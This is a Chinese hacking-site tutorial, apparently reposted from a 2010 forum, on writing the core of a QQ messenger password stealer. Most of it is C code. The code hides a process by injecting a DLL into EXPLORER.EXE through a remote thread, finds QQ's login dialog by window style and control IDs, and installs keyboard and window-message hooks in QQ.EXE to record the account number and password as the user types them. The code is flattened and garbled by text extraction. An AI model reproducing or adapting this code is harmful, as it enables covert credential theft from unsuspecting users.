【vfp精品源码栏目提醒】:网学会员vfp精品源码为您提供盗QQ核心代码 - 产品手册参考,解决您在盗QQ核心代码 - 产品手册学习中工作中的难题,参考学习。
设为首页 加入收藏 广告合作 首 页 ┆ 文章中心 ┆ 下载中心 ┆ 武林书院 ┆ 英雄大会 ┆ 榜中榜 ┆ 百晓生 ┆ IT 培训 ┆ 主题推广 ┆ 投稿 ┆ 武林社区站点首页 基础常识 兵器谱 实战演练 脱壳破解 免杀技术 网络编程 安全防范 网管经验 建站技术 网赚资源 课间休息 安全检测 - 脱壳破解 - 编程学习 - 压力测试 - 漏洞扫描 - 网络安全 - 黑客新闻 - 模板下载 - 加密破解 文章 软件业界资讯 网络新闻 黑客八卦 联合公告 Delphi 汇编 C Asp Php Vb Java 系统漏洞 0Day发布 路由协议 幽默笑话 文章更新经典网文 寓言故事 黑客小说 Windows Linux 安全防范 嗅探侦察 网络安防 基础运用 免杀技巧 注册破解 站长学院 软件更新站长茶社 PowerBuilder Access SQL
VFP 游戏公会 娱乐八卦 科学探索 生活常识 域名空间 邀请码 匿名代理 其他资源 热门文章漏洞扫描 加密破解 压力测试 后门侦察 检测侦察 破解加密 工具应用 综合教程 Asp
源码 PHP
源码 CGI
源码 JSP
源码 热门下载Fla
源码 .Net
源码 游戏娱乐 装机工具 编程开发 QQ 黑客 安全教程 程序编程 编程资料技术资料 系统资料 认证资料 推荐浏览黑客入门 网络常识 黑软简介 安全检测 攻防提权 逻辑算法 程序破解 免杀技巧 黑客编程 个人防护 学员心声 互助交流 推荐下载当前位置:黑客武林 → 武林书院 → 网络编程 → 黑客编程 → QQ 盗号核心编程 QQ 盗号核心编程减小字体 增大字体 作者:admin 来源:本站整理 发布时间:2010-8-8 18:42:40收藏到网摘: 合作洽谈 申明:本文旨在技术交流。
一.先讲几句废话:经常有听到有朋友 QQ 被盗的消息,总感觉做出这种行为的人是可鄙的,不就是对 QQ 窗口进行监视,然后再是记录用户输入的号码和密码,认为没什么了不起。
对于 Windows 核心编程,本人还是一只菜鸟,前一段时间把《Windows 系统编程》粗略的看一边(当然重点地方仔细的看),由于对于 C有点基础,感觉学起来比较容易上手。
但到了这两天真正实践的时候,遇到了各种各样的问题。
即使一个小小的问题都足以让我这只菜鸟郁闷老半天。
直到此时,在完成这个软件的时候,整理一下思路,不但算是给自己个总结,也跟像我一样的菜鸟们分享一下自己的经验。
二.进入主题:想必大家都已经知道,这类软件的特点就是在用户不知不觉的时候工作。
在任务管理器中是看不到它们的,这就是隐藏了进程。
采用插入内核的嵌入方式、利用远程插入线程技术、嵌入 DLL 线程、或挂接 PSAPI 等都可以达到效果,哎,既然是个菜鸟就选择一个最简单的来做个实验。
先讲一下思路:需要三个进程 A,B,C;两个 DLL。
初始进程 A,用于在进程 B 中创建远程线程,创建成功立即退出,不会留给任务管理器任 。
何捕捉它的机会(你根本来不及观察)进程 B 作为 远程 线 程的 寄主 ,选 择 的时 候应 该是 那些 系 统中 必须 执行 的 进程 ,比如EXPLORER.EXE。
其中的远程线程用于监视目标进程。
进程 C 为目标进程在这里也就是 QQ.EXE。
第一个 DLL(InspectQQLandDlg.dll远程线程的载体。
第二个 DLL(MyHook.dll全局钩子函数的载体。
现在要做是利用进程 A 把 InspectQQLandDlg.dll 映射到进程 B,同时启动该 DLL 中的远程线程,再利用该线程监视目标进程(QQ.EXE)QQ 登陆窗口, 一旦找到,立即把 MyHook.dll映射到目标进程来监视用户的输入。
这样也清楚了这个软件设计的总体构架,下面用代码来具体实现。
1。
远程线程的创建。
先利用进程快照取得目标进程,相对比较简单HANDLE hSnapshot hSnapshot CreateToolhelp32Snapshot TH32CS_SNAPPROCESS 0 if hSnapshot INVALID_HANDLE_VALUE return 0 string lpName EXPLORER.EXE //设定需要监视的进程名PROCESSENTRY32 pepe.dwSize sizeof PROCESSENTRY32 for BOOL fOk Process32First hSnapshot pe fOk fOk Process32Next hSnapshot pe if pe.szExeFile lpName //取得宿主进程(EXPLORER.EXE)的句柄 HANDLE hRemoteProcess OpenProcess PROCESS_ALL_ACCESS false pe.th32ProcessID //取得目标 DLL 的当前路径(路径可自由设置) char szInspectDllPath128 GetCurrentDirectory 128 szInspectDllPath strcat szInspectDllPath QQLandDlg.dlldebugInspectQQLandDlg.dll //申请存放文件名的空间 LPVOID pszInspectDllRemote int InspectDllNameLength sizeof szInspectDllPath 1 pszInspectDllRemote VirtualAllocEx hRemoteProcess NULL InspectDllNameLength MEM_COMMIT PAGE_READWRITE //把 dll 文件名写入申请的空间 WriteProcessMemory hRemoteProcess pszInspectDllRemote LPVOIDszInspectDllPath InspectDllNameLength NULL //获取动态链接库函数地址 HMODULE hModule hModule GetModuleHandle kernel32.DLL LPTHREAD_START_ROUTINE fnStartAddr fnStartAddr LPTHREAD_START_ROUTINE GetProcAddress hModule LoadLibraryA //创建远程线程 HANDLE hInspectRemoteThread NULL //存放远程线程句柄 hInspectRemoteThread CreateRemoteThread hRemoteProcess NULL 0 fnStartAddr pszInspectDllRemote 0 NULL if hSnapshot NULL CloseHandle hSnapshot //关闭进程快照 CloseHandle hRemoteProcess break 2 。
此 时 InspectQQLandDlg.DLL 已 经 被 映 射 到 EXPLORER.EXE 。
此 时 在InspectQQLandDlg.DLL 的 DllMain 千 万 不 要 写 成 DLLMain 接 受 到DLL_PROCESS_ATTACH 消息,但一般来说不因在 DllMain 中执行过多的功能(借鉴前人 ,于是很容易想到开辟一个新线程。
的经验,嘿嘿)switchfdwReason case DLL_PROCESS_ATTACH: //下面这句会给你创建远程线程成功的提示。
MessageBox 0 Code Injection success NOTE MB_OK HANDLE hNewThread CreateThread NULL 0ThreadForInspect NULL 0 0 break 在新线程中要达到的目标只是一个循环,利用 while和循环标志BOOLisContinue 即可以实现。
在这个远程线程中要完成的第二个任务是找到 QQ 登陆对话框中关键控件。
关于这点网上有很多资料,利用的是 FindWindow 和 FindWindowEx,这是针对以前的版本。
在这里已经无效了,现在 QQ 在这里下了点工夫,采用的是窗口标题采用随机字符。
就以登陆对话框为例,对话框的类为32770或许许多菜鸟朋友会像我在最初的时候一样,傻傻用 FindWindow QQ 用户登陆32770 结果什么都没有,哎其实可以通过窗口枚举搞清楚 QQ 在这里到底做了什么手脚。
BOOL CALLBACK EnumWindowProc HWND hwnd LPARAM lParam if hwnd return false char szWindowName128 ZeroMemory szWindowName 128 GetClassName hwnd szWindowClassName 128 //取得类名 if strcmp szWindowClassName 32770 __asm int 3 return true 利用上面的程序段,在 VC 调试器中不断按 F5 且同时在 WATCH 中观察 szWindowName很容易发现这个窗口名字符串是由不超过二十个字符组成(多次观察),但其中的元素只有0X13,0X10,0X32,字符串中的每个位置都是三个元素之一。
但在 SPY中窗口名中看起 ,怎么看都只是几个空格(再提醒一下,不要试图通过复制其中的内容,来只不过是“ ”效果可是无法忍受的,呵呵)事实上登陆窗口可以通过窗口的许多确定因素来确定,比如窗口风格,窗口 ID 之类的,这些都可以通过 SPY轻易得到(SPY,好东西啊),下面也就不多发话了,直接给出各个关键控件的代码。
define UserNameComboBoxId 0x0000008A //用户名控件 IDdefine PasswordEditId 0x000000B4 //密码控件 IDdefine ButtonId 0x00003EA0 //登陆按扭控件 IDdefine QQLandDlgMiniStyle 0x94CA00C4 //登陆对话框最小化时的风格define QQLandDlgShowStyle 0XB4CA00C4 //登陆对话框在桌面显示时的风格BOOL CALLBACK EnumWindowProc HWND hwnd LPARAM lParam if hwnd return false long style GetWindowLong hwnd GWL_STYLE if style QQLandDlgMiniStyle style QQLandDlgShowStyle hQQLand hwnd EnumChildWindows hQQLand EnumChildWndProc NULL return false return true BOOL CALLBACK EnumChildWndProc HWND hwnd LPARAM lParam if hwnd return false //取得指定句柄的控件 ID long id GetWindowLong hwnd GWL_ID if id UserNameComboBoxId hUserName hwnd else if id PasswordEditId hPassword hwnd else if id ButtonId hLandButton hwnd return true 到这里终于取得盼望多时的 hUserNamehPasswordhButton 这三个控件的句柄。
v在这里其实可以用SendMessage hUserName WM_GETTEXT 128 LPARAMszUserName ,但不能取得密码。
取得 UserNameQQ 号码)可以随便下载个号密码,再在密码框中输入几个字符,结果可能是失败,不知道 QQ 做了什么手脚,有机会再好好研究。
既然此路不通,菜鸟也自己的办法去达到目标。
现在远程线程 的第二个 功能(取得 关键控件 的句柄) 已经完成, 接下来要 做的事是把MyHook.dll 映射到 QQ.EXE,这样即可实现对用户键盘输入的监视。
只需调用 MyHook.dll 的接口函数即可SetHook hQQLand hUserName hPassword hLandButton true 3。
MyHook.dll 模块。
EXPORT BOOL WINAPI SetHook HWND hQQLand HWND hUserName HWND hPassword HWND hLandButton BOOL isInstall if isInstall hQQLandDlg hQQLand hUserNameEdit hUserName hPasswordComboBox hPassword hButton hLandButton DWORD dwQQLandDlgThreadId GetWindowThreadProcessId hQQLand NULL hHookDll GetModuleHandle MyHook hKeyboard SetWindowsHookEx WH_KEYBOARD HOOKPROCKeyboardProc hHookDll dwQQLandDlgThreadId hWndProc SetWindowsHookEx WH_CALLWNDPROC HOOKPROCCallWndProc hHookDll dwQQLandDlgThreadId if hKeyboard NULL hWndProc NULL return true else UnhookWindowsHookEx hKeyboard UnhookWindowsHookEx hWndProc hHookDll NULL hKeyboard NULL hWndProc NULL ZeroMemory szPassword 128 pszPasswordLen 0 return false 这个程序段很简单只是通过检测远程线程的输入安装、卸载钩子函数。
如果对钩子函数不清楚的朋友,看一下 MSDN 或者 WIN32 函数集就可以了。
这里对 QQ 登陆对话框线程设置两个钩子,一个键盘钩子函数记录键盘输入;另一个全局消息钩子。
LRESULT CALLBACK KeyboardProc int nCode WPARAM wParam LPARAM lParam //检测回车键是否被按下 if wParam VK_RETURN lParam 0 //由于钩子函数只是记录对密码框的记录,因而在最后时刻取得号码会是准确的 SendMessage hUserNameEdit WM_GETTEXT 128 LPARAMszUserName //此处可以自由处理拦截到的号码和密码(szUserNameszPassword) //不要忘了变量还原(szUserNameszPassword) if lParam 0 wParam VK_RETURN char KeyName10 ZeroMemory KeyName 10 GetKeyNameText lParam KeyName 10 if strlen KeyName 1 strcat szPassword KeyName return CallNextHookEx hKeyboard nCode wParam lParam 也由一部分用户是用鼠标点击登陆按扭的,可由下面代码实现LRESULT CALLBACK CallWndProc int nCode WPARAM wParam LPARAM lParam CWPSTRUCT p CWPSTRUCTlParam if p-message WM_COMMAND p-hwnd hButton //同理 SendMessage hUserNameEdit WM_GETTEXT 128 LPARAMszUserName //这里可添加如何处理密码的语句 return CallNextHookEx hWndProc nCode wParam lParam 上面给出的几段代码可以实现基本的号码和密码记录功能,但对于具体细节的处理(比如用 ,这些只要考虑仔细就可以了没有什么难度,这里就不说了。
户按退格键或是其他)到此,我想应该把核心部分讲清楚了。
由于时间比较紧,写的比较仓促,难免有不足之处,请各位多指教。
哎,期末又来了,讨厌,我的身心又要遭受摧残,各位朋友为我祈祷,祝福我顺利 PASS吧以上内容均来自互联网,本站仅提供自然搜索结果,与内容出处无关。
如有侵犯你的个人权益问题并提供书面证明请联系本站处理相关事宜!本文引用网址: 与您的 QQ/MSN 好友分享 在下列搜索引擎中搜索“QQ 盗号核心编程”的相关信息:本日:12 本周:121 本月:166 总数:872 返回上一页 打 印 你可能还喜欢以下文章1 详细分析黑客是如何盗取 QQ 密码... 2 怎么破别人 QQ 相册密码 3 如何成为一名黑客 4asp木马密码的破解技巧 5 提升 asp 木马权限续--IIS... 1 一组超级黄色笑话 2 女孩下面痒了怎么办? 3 一个女大学生被包养玩弄的悲惨... 4 曾经有一份真诚的爱情放在我面... 5 四十条让你想入非非的短信 1视频富二代砸钱门男主角书博... 2图8090 组合姜潮、 陈骁 最终组... 3视频90 后女生为争男友 网上互... 4图杨洋、于小彤维护李少红尽... 5图菏泽学院亭子门艳照曝光 亭... 1phpcms 2008 任意下载漏洞 2 实例讲解黑客如何入侵网游私服...3 内网入侵的常用方法 4SHOPXP 购物系统 漏洞与利用 5QQ 空间也能挂马上一篇书院:回忆网站提权拿服务器全过程下一篇书院:已经没有了书院评论查看更多评论
上一篇:
程序设计基础
下一篇:
bc80e7a0-d1f2-4595-b21d-01a76798e87a